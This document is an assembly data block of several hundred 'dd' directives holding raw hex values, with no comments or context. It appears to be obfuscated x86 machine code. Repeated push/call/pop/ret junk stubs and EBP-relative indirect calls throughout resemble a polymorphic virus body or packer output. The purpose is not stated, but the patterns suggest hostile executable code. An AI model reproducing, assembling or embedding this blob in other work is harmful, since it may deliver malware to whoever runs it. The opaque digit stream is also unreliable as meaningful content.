dd 14E9h, 83E8F600h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 0D60DE9D3h
dd 6A6143h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 84C35040h, 0B5FF5601h, 64BB689h, 18159D8Bh, 95FF0648h
dd 6480051h, 0D698529h, 0BF500648h, 454FD357h, 6A243489h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 7038C353h, 673D007h, 85097029h, 6481AD5h
dd 0E344EF81h, 0B5FF4CEFh, 64BB689h, 6870Fh, 0B5890000h
dd 6480B29h, 142995FFh, 8B660648h, 0A9BD83D9h, 64831h
dd 47840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 1A14C9C3h, 0BEEF81D4h, 0BB6CA983h
dd 71C728DEh, 503AB796h
dd 0F96A0B7h, 0A81h, 48F0F00h, 66000000h, 890961BFh, 482F858Dh
dd 89B5FF06h, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 6DFDC352h, 0B275B587h
dd 0AB8A7EC0h, 8B0CE780h, 48003D9Dh, 0FD95FF06h, 0BF064813h
dd 0D1B68C6h, 0B689B5FFh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 75BF43C3h, 0BA70D534h
dd 0D58D89FAh, 0FF064819h, 48177D95h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 517EAB9h, 9D8BC501h, 6481181h, 2F1DBD83h, 0F020648h
dd 3B84h, 1DBD8B00h, 8B064812h, 48155185h, 69B52906h, 0C6064812h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 2C5C17C3h, 66E85691h, 3533DB81h, 16E185C7h
dd 648h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0AEF0A7C3h, 4D811B8Fh, 0FE8h, 17B4C00h
dd 0A9A09F63h, 35E70A6Bh, 7B9E0E03h, 1AD5BD8Bh, 8B5F0648h
dd 4829BDBDh, 0F330E906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0CBEA65C3h, 1EF8BCF6h
dd 0E90CC76Fh, 13h, 0D1EF6128h, 3D139038h, 5A1A1A5Ah, 0EEC71F1h
dd 8BB11F51h, 480A799Dh, 6AC18B06h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 49CEC356h
dd 14020A3Ch, 58B0FC5h, 66000000h, 613F381h, 1255858Dh
dd 81660648h, 900ED1F3h, 50DA8B66h, 90FA8B66h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F4C35141h, 6A853A9Bh
dd 0A5BD0B00h, 6A064823h, 13E900h, 1DB30000h, 4B94C68Eh
dd 0EB779D1Bh, 6119CE9Eh, 8ED385EEh, 5D9D891Ch, 8D064811h
dd 4C940F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 3F6C85Fh, 8994FC41h, 4833719Dh, 5C08306h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 76C35040h
dd 0B2C86BF7h, 0BE9h, 0D3797A00h, 1A4F3622h, 7CF4747Dh
dd 31BDBB66h, 0CE38166h, 0F98B90BBh, 8E0F50h, 90000000h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 73C35242h
dd 6A67C6h, 9E5BD8Bh, 6A0648h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 3FC35040h, 4E72A857h, 0BD8B5116h
dd 6480B99h, 2D95FF5Bh, 8106482Bh, 72AA0FCBh, 388D8D0Fh
dd 8B064B99h, 482FD1BDh, 33D1FF06h, 480D1DBDh, 0E5BD8306h
dd 1064830h, 9A850Fh, 0B5090000h, 6483289h, 9D8B026Ah
dd 64815BDh, 0EE890h, 9C7B0000h, 0F6B5DEBBh, 732A6376h
dd 0A962A740h, 880F505Bh, 8, 2880Fh, 61600000h, 56006A90h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0F6AFD56h, 683h, 0A98D8900h, 23064801h, 4828B1BDh, 9B58906h
dd 0FF06482Ah, 48005195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 80C8B959h
dd 7EC5204Dh, 0B53196B5h, 64822D5h, 0D92E9h, 0E800h, 815D0000h
dd 4C9419EDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 6A658BE6h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 8D85C350h, 4B93DA85h
dd 0E5BD8B06h, 50064829h, 6FE5BB66h, 89240489h, 4817F5BDh
dd 0B99D2B06h, 6406480Ah, 35FFh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 0B2B5B2C3h
dd 8964F88Bh, 25h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 7C97C427h, 8E1C41A3h
dd 6E92277h, 6C000000h, 0A7E10EBCh, 69B5318Dh, 0FF064833h
dd 481AD185h, 5800F06h, 0BF000000h, 2E18AB85h, 0E850FF6Ah
dd 14h, 24EB35DFh, 12C07615h, 5F16F73Bh, 0FCCF484h, 18A160B8h
dd 0B5FF5B5Bh, 6481221h, 33499509h, 95FF0648h, 64810D9h
dd 120E9h, 0B5BD8B00h, 0B0064819h, 11E900h, 0F5380000h
dd 0BA4D2208h, 25B2D835h, 0C27F094Ah, 668171ECh, 0A316CF81h
dd 0E85170E6h, 0Ch, 5E314BDAh, 0DF125C9Dh, 7AED373Eh, 0DCE4F781h
dd 5F5F2E78h, 236071E4h, 4803C195h, 0ED8D3306h, 61064816h
dd 830F613Ch, 0C9h, 271DBD89h, 0B60F0648h, 0C5BD89C8h
dd 0BA06482Ah, 6, 5A99D8Bh, 0C18B0648h, 0B5ABEF81h, 0E8C118CAh
dd 0B8D0F04h, 0E9000000h, 6, 0B6EAFEC2h, 0F76686D6h, 2BD88BE2h
dd 59BD8BC8h, 8B064813h, 0E9FC8AD1h, 6, 5FD98A53h, 858B7EB3h
dd 6482A61h, 24058D89h, 0C0830648h, 0F38B6007h, 28F0Fh
dd 0D08B0000h, 0C08361h, 1977BF66h, 830FD03Bh, 1Fh, 0E904D380h
dd 45h, 85096051h, 64828EDh, 8E9h, 49D5BF00h, 0B07A129h
dd 8B5F6167h, 4812C58Dh, 1E18306h, 1F840Fh, 9D8B0000h
dd 64830D9h, 12C5A583h, 89FE0648h, 480F2185h, 61958906h
dd 0F506482Ah, 0E9h, 1FB58D00h, 8A064C0Fh, 0F006AF9h, 95FFFEBFh
dd 648092Dh, 10BDBD8Bh, 0DFB90648h, 6A000008h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 4481C352h, 0E8DB818Fh, 831DA9F6h, 6AFCE1h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 554CCCC3h
dd 78E22797h, 81FDD3E2h, 0B6EA20E3h, 6830F22h, 8B000000h
dd 482A89BDh, 6AFC06h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 579B2FC3h, 12E2B1F4h, 23395415h
dd 4806A19Dh, 0CE906h, 95FE0000h, 2DEC9E19h, 0A384EC47h
dd 0C02BBF49h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 2AC35141h, 195A324Dh, 6880F95h, 81000000h, 7C601AEFh
dd 0E9D22B06h, 5, 3E03A5A3h, 0C233ADF3h, 0D003E8D1h, 7504E983h
dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0F827CD26h, 6D9BD01h, 880D0648h, 56000000h
dd 5FF8B70Fh, 1405958Bh, 6A0648h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 715C6AC3h, 665FA191h
dd 74ADEB81h, 30258D8Bh, 6A0648h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 94A210C3h, 9529A9F7h
dd 6480929h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 5BDC2C3h, 0F20907BFh, 6AC794h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 4A47EBC3h
dd 12FDBD83h, 0F000648h, 8A84h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0AE91B490h
dd 8D09FC5Eh, 6480F3Dh, 71C4C781h, 0B81495h, 6A000000h
dd 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DFA1C356h
dd 8D8D0AF7h, 6484E80h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0F7C35040h, 0E1FF4F7Dh, 51EE8160h, 6676EB24h
dd 3FFFCF81h, 0C19D8B61h, 83064827h, 482AD9BDh, 840F0006h
dd 42Ah, 83D8BF0Fh, 482AD9BDh, 840F0106h, 435h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FFC35545h, 0BD837E56h
dd 6482AD9h, 0D4860F03h, 6A000003h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0C976C356h
dd 89192B45h, 48050985h, 45850106h, 60064804h, 3860Fh
dd 0DB800000h, 0D98C6601h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 0F1C35141h, 1625BD33h, 0B5890648h, 6480D41h
dd 6A04E180h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 41F8C357h, 1FADA26Bh, 14E9CE3Dh
dd 0C000000h, 9B83B1F7h, 5F8AAA5Bh, 8B925368h, 0E5D19251h
dd 8B426BA1h, 4814E99Dh, 0FC90A06h, 12F84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 8BB373EBh, 48115985h, 85BD8906h, 33064832h, 48121985h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0DFF242CBh, 817B31DEh, 0AEBAF5F7h, 489500Dh
dd 0F5BD8B24h, 6A064830h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0D509E067h
dd 11E973h, 0A6020000h, 0F7679304h, 0E36D41A2h, 0ED30559h
dd 6069CE2Eh, 89B50950h, 5B064805h, 1AD8589h, 68610648h
dd 9B479E79h, 0C68B6060h, 4816161h, 0D7658624h, 0C3816664h
dd 95FF5E46h, 6480741h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 7C35646h, 89F95642h, 4BB68985h, 0EB816606h
dd 0C3E9BE3Bh, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 1859C353h, 88EEBABCh
dd 9E884h, 8C100000h, 8571C8C0h, 5102882Ch, 870Fh, 5F5F0000h
dd 0B681858Bh, 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 93C07DC3h, 0EE9CEA3h, 0AC000000h
dd 6E445A5Fh, 1EEF287Ch, 44E9A854h, 6ABF66B7h, 1800C726h
dd 0B000000h, 4810519Dh, 85B58B06h, 0F064BB6h, 858BD9B7h
dd 6481A85h, 0D4E78166h, 890689EEh, 480441B5h, 0C7816606h
dd 858B8513h, 6481159h, 5890Fh, 81660000h, 899FDCCFh, 6A0446h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 8166BBC3h, 508651C3h, 11E8h, 188F9500h, 0B15EFD22h
dd 0EDD5EB24h, 0CA761FE0h, 895F96CAh, 6A2434h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 9F644DC3h, 0CA51F3BBh, 0F88BC14Bh, 0FFFBBF0Fh, 4BB681B5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 66E11756h, 9D8BF98Bh, 64832D5h, 0B47E1368h
dd 4604BBC2h, 4811BA2h, 6A85EC24h, 2D95893Dh, 8D064814h
dd 4BB68985h, 0B9D78106h, 907D5888h, 0F26ABF66h, 0EE850h
dd 50F00000h, 0C7B2933h, 5A4CFBB3h, 622DE9B3h, 87AFBF66h
dd 9D03905Bh, 64822B1h, 95FFDF8Bh, 6480741h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 53C35747h, 8589F74Ah
dd 648234Dh, 9A59D8Bh, 1610648h, 480C0985h, 0D985C706h
dd 306482Ah, 33000000h, 4823759Dh, 89BD8306h, 64BB6h, 49840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 823333C3h, 97EF7731h, 3DE9h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0B8BE3986h, 50D98B66h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 0A149DDC3h, 0F560CDA7h
dd 16158589h, 83610648h, 482AD9BDh, 850F0306h, 434h, 0AE9h
dd 0E311C500h, 0AFD8A8DDh, 83DCE8A9h, 4BB689BDh, 840F0006h
dd 418h, 17158529h, 0BD8B0648h, 64807E5h, 0B689B5FFh, 6A064Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0AE296CC3h, 9F595FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0FD99D0C3h, 919D8BC3h
dd 66064829h, 0C1DCF781h, 0B67DB58Bh, 8589064Bh, 64819C9h
dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 147D7AC3h, 5B882BAEh, 6850Fh, 9D8B0000h
dd 64823F9h, 0F808AABBh, 50509666h, 7F55BF52h, 310F3144h
dd 0FACABB53h, 5A5B159Dh, 6A9658h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0AB9520C3h, 0DD9D235Fh
dd 0FF06480Ch, 4BB689B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 89A7BD84h
dd 480D1D95h, 6195FF06h, 0E9064800h, 12h, 6E0BB07Bh, 32FE5A59h
dd 0BB443D2Dh, 628C4AE6h, 0B58B7D90h, 64BB67Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7DC35747h, 0B4887ECEh
dd 0F25858Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0FC7465C3h, 7C7E5AD9h, 0C4868958h
dd 0F000000h, 68Ah, 0B99D8B00h, 8B06482Fh, 48140595h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 199589B9h, 8306481Bh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 0BB53DFC3h, 6FE78007h
dd 0E8205089h, 9, 1F313A1Fh, 89BD5E51h, 2185893Ah, 5B064809h
dd 0CAD4858Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0EF6937C3h, 0ED5B6489h, 0BE8B516h
dd 3B000000h, 387441CBh, 0F9FB6E5Dh, 0BD89BE23h, 64813B5h
dd 0B886895Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0BD9C356h, 0D69345C1h
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0B5FFD1C3h, 64BB689h, 5A3614BFh, 5195FF49h
dd 6A064800h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 76F3C350h, 34895046h, 0C5950924h
dd 0FF06482Fh, 4BB689B5h, 0CF816606h, 95FFB1CAh, 6481429h
dd 1AB98589h, 0BD830648h, 64831A9h, 2D840F00h, 23000000h
dd 480AD59Dh, 5E99606h, 0EB000000h, 0E761B0F1h, 96F98B50h
dd 11E953h, 0C1A0000h, 0CD759E00h
dd 5C390474h, 0BBAE246Eh, 5B72BC90h, 0B689B5FFh, 6A064Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 8C1C9FC3h, 5352B0ACh, 0E9B4E01Ch, 8, 99055F9Dh, 511DFC18h
dd 13FD95FFh, 10E80648h, 0C8000000h, 1F105DF2h, 81D7F066h
dd 4C0ACEF1h, 56B2793Bh, 8EA0BB66h, 0B5FF5F5Bh, 64BB689h
dd 1C830Fh, 13E80000h, 55000000h, 0E0B65CE1h, 27E4738Eh
dd 7B549E9h, 782D4F5Fh, 0B70FF9D7h, 95FF5BFBh, 648177Dh
dd 899BD23h, 0BD290648h, 648006Dh, 2F1DBD83h, 0F020648h
dd 3884h, 8B72B300h, 48155185h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 6E9B88EBh
dd 950192E9h, 648164Dh, 530000C6h, 77BB665Bh, 0E185C7B9h
dd 64816h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 914FC350h, 59D54F77h, 0EE96FB7h
dd 0C7000000h, 0DF9BF7A6h, 64FD0041h, 6D2CD84Fh, 0DFB70FE0h
dd 0FFF35BE9h, 4D8D89FFh, 8B06481Ah, 0A18589C1h, 66064829h
dd 8D033FBFh, 48125585h, 588EBB06h, 669021EBh, 0F50DF8Bh
dd 1C82h, 14E85000h, 74000000h, 9A7C204Eh, 0F737F8DBh
dd 6B01B372h, 65DC54E2h, 5F6FCADDh, 6A905Fh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 11DF2BC3h
dd 0D052C7F5h, 81B86D94h, 0D42A59F3h, 89006A08h, 48096D95h
dd 0C19D8B06h, 6A064830h, 0E400BB00h, 858D1CCBh, 64CA3DDh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AC35747h
dd 7775E848h, 48EABB66h, 0C083DE8Bh, 0D8B70F05h, 15830F50h
dd 0E8000000h, 0Fh, 1FCE6CBBh, 53198014h, 268A80Dh, 5FEAF4BAh
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 679CC351h, 14697A36h, 0EA22BF7Ah
dd 81006AF5h, 2F240FCBh, 6A006A6Ch, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 7787C351h
dd 0C1997C75h, 2A31B501h, 9D8B0648h, 64804A5h, 2B2D95FFh
dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 9CDD2FC3h, 0BB069375h, 5AF416FCh, 6870Fh
dd 0BD890000h, 6480799h, 99388D8Dh, 0BE9064Bh, 3D000000h
dd 5A0A04AFh, 85849E81h, 0D1FF9781h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0E4C35242h, 98FECE0h, 294D9D8Bh
dd 0BD830648h, 64830E5h, 93850F01h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 7B45C352h, 0EBA16578h, 81664C90h, 6AF78AF3h, 10E902h
dd 2C170000h, 37D00BC2h, 0E769FF5Fh, 52360F2Ah, 5050FC69h
dd 0CDBF6652h, 0BF310F9Dh, 28A62F15h, 489585Ah, 0B1E78124h
dd 8B70071Eh, 481025BDh, 5195FF06h, 6A064800h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0BD25C350h, 3141B589h, 870F0648h, 6, 14B99D8Bh, 1CE90648h
dd 0E800000Eh, 0
dd 0E7ED815Dh, 0FC064CA3h, 4A9BD8Bh, 858D0648h, 64B93DAh
dd 905090FCh, 35FF64h, 8B000000h, 482EF1BDh, 51958906h
dd 6406480Ah, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 2DC786C3h, 3C307880h
dd 0D185FF23h, 8906481Ah, 4826C59Dh, 6AFF6A06h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 201CC350h, 1980F781h, 0BB661DB2h, 0B5FF5C64h, 6481BD5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 52C35646h
dd 9723A0D9h, 9D8BF1D5h, 6482EBDh, 10D995FFh, 12E90648h
dd 0E8000001h, 8, 0DD92A510h, 0A3311641h, 47D5BB66h, 0F00B05Bh
dd 68Bh, 919D8B00h, 0E606481Ah, 6800F70h, 8B000000h, 4806B99Dh
dd 8B71E406h, 481425BDh, 0F613C06h, 0D483h, 0C8B60F00h
dd 15303EBFh, 6BA69h, 0C18B0000h, 16F98D89h, 0E8C10648h
dd 0A1BD8B04h, 6606481Fh, 0B589E2F7h, 64822F9h, 8166C82Bh
dd 8B3772D7h, 0DA8B66D1h, 6E9h, 39BD8B00h, 8B064807h, 48136985h
dd 6810F06h, 8B000000h, 48143D9Dh, 8901BF06h, 0C08319C5h
dd 9953107h, 83064831h, 8D0100C0h, 6481B31h, 830FD03Bh
dd 24h, 0BA5BD8Bh, 5AE90648h, 0E9000000h, 14h, 372300E7h
dd 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h, 12F58D8Bh
dd 870F0648h, 6, 2A519D29h, 0E1830648h, 26840F01h, 8B000000h
dd 0F5A583F9h, 0FE064812h, 0F7D9D23h, 95890648h, 6481369h
dd 9319D8Bh, 0BD890648h, 6482EBDh, 0E9h, 4BB58D00h, 6A064C1Ah
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 47D5C357h, 67529C84h, 8D0FDC5Ch, 2, 6AFE8Bh
dd 0F7CB8056h, 2D95FF5Bh, 8B064809h, 7FFB9DEh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0F95DFC3h, 0E183F9BFh, 53006AFCh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0FB8B660Fh
dd 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0C02B61A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 4EC35646h, 57A6A7B4h, 0D2B973D9h, 28E0FFCh
dd 0B3000000h, 0BA9Dh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 342B2AC3h, 0E972AA73h
dd 6, 0EF50BC0Eh, 33AD2E56h, 3E8D1C2h, 4E983D0h, 6AF475h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 371244C3h, 26F78166h, 880D8Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0B9A621C3h
dd 5B095CFh, 1405958Bh, 8E0F0648h, 6, 4D61CB81h, 14E91B5Bh
dd 9000000h, 0D17887EAh, 8AF63173h, 9B0FC5D3h, 0FC0A977h
dd 8BCBC26Ch, 4830258Dh, 1BD8906h, 50064814h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 8B52972Fh
dd 481181BDh, 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 392856C3h, 89BF6678h, 0FDBD831Bh
dd 64812h, 9D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 89A16DC3h, 4828698Dh
dd 65BD8906h, 0B8064823h, 0
dd 8D8DF98Bh, 6484E80h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0AAC35040h, 0C800FF8h, 0E9000000h, 7
dd 0F9856C68h, 0BFC71B45h, 4684705h, 6AE1FFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C8CA3CC3h
dd 8E179D7Bh, 0FE9BE78h, 68Ch, 0C5BD8B00h, 83064815h, 482AD9BDh
dd 840F0006h, 497h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 7EC35646h, 23D6573Dh, 481FB99Dh, 0D9BD8306h
dd 106482Ah, 480840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 7C1134C3h, 8BA21E15h
dd 4813659Dh, 65BD8B06h, 83064827h, 482AD9BDh, 860F0306h
dd 410h, 11E19D8Bh, 6A600648h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 0E30EC355h, 151D1870h
dd 14E8F5h, 80120000h, 17CC5CB7h, 0D8CD1107h, 273E4F9Ah
dd 0C024B893h, 0DE9A1F0h, 26000000h, 64ACA07Ch, 0B9962B5Ch
dd 0BE4C9FDFh, 0D98C665Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 4C35545h, 0F642E7D1h, 0E18000E5h, 57006A04h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0E8A47C0Ah, 7, 550F28Dh, 0B3BE4094h, 0C90A5FB3h, 124840Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 469EF3C3h, 858B56F5h, 6481159h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 85C35747h, 0FEEF888Fh
dd 12198533h, 0B5290648h, 6480D41h, 50DE8B66h, 489D88Bh
dd 5E924h, 68D60000h, 0FF5A390h, 6ADBBFh, 1C799D8Bh, 9E680648h
dd 8169725Dh, 5E612434h, 6A696Dh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0BF4431C3h, 30FB370Ch
dd 1E2F6D9h, 48271D85h, 0E19D8B06h, 0FF064815h, 48074195h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 5D933AF1h, 4DF57707h, 9D8BD88Bh, 6483125h
dd 0B6898589h, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0BE8838C3h, 0FA988F9h, 885h, 28E0F00h
dd 0B7000000h, 399D8B7Fh, 0E906482Fh, 1B3h, 0F531D781h
dd 858B752Eh, 64BB681h, 0D8D78166h, 1800C734h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0E3B5C350h, 14A29061h, 68C0FFCh, 9000000h
dd 4806F1B5h, 85B58B06h, 6A064BB6h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 768FC350h
dd 0ED998FAh, 1A85858Bh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0FA2A38C3h, 34DCF5A4h
dd 8BF709B2h, 4805C19Dh, 3068906h, 4807DD9Dh, 59858B06h
dd 6A064811h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0C6F7C352h, 6A9772F3h, 83C60736h
dd 0C8F0Fh, 800F0000h, 6, 983EF381h, 46890E2Eh, 0D19D8B04h
dd 50064804h, 0AE850h, 1D690000h, 5F8249BCh, 59E1C850h
dd 34895B5Fh, 81B5FF24h, 6A064BB6h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6B8DC355h
dd 0F36803B7h, 8BCD4B30h, 240481D9h, 32D3D30Ch, 16B59D8Bh
dd 858D0648h, 64BB689h, 0CE8h, 6DF2A00h, 1140ADDDh, 72DD1DD0h
dd 499D8951h, 5F06481Ah, 0AEBB6690h, 0C2BB50C2h, 906480FEh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h
dd 5610DEDCh, 93010B99h, 19958912h, 0FF06480Ch, 48074195h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 61101E53h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 4BC35040h, 0DC6310F1h, 0C2E8BF66h, 9822BB66h
dd 2AD985C7h, 30648h, 8B660000h, 89BD83FBh, 64BB6h, 4A840Fh
dd 85890000h, 6480029h, 5AE9h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C1D52720h
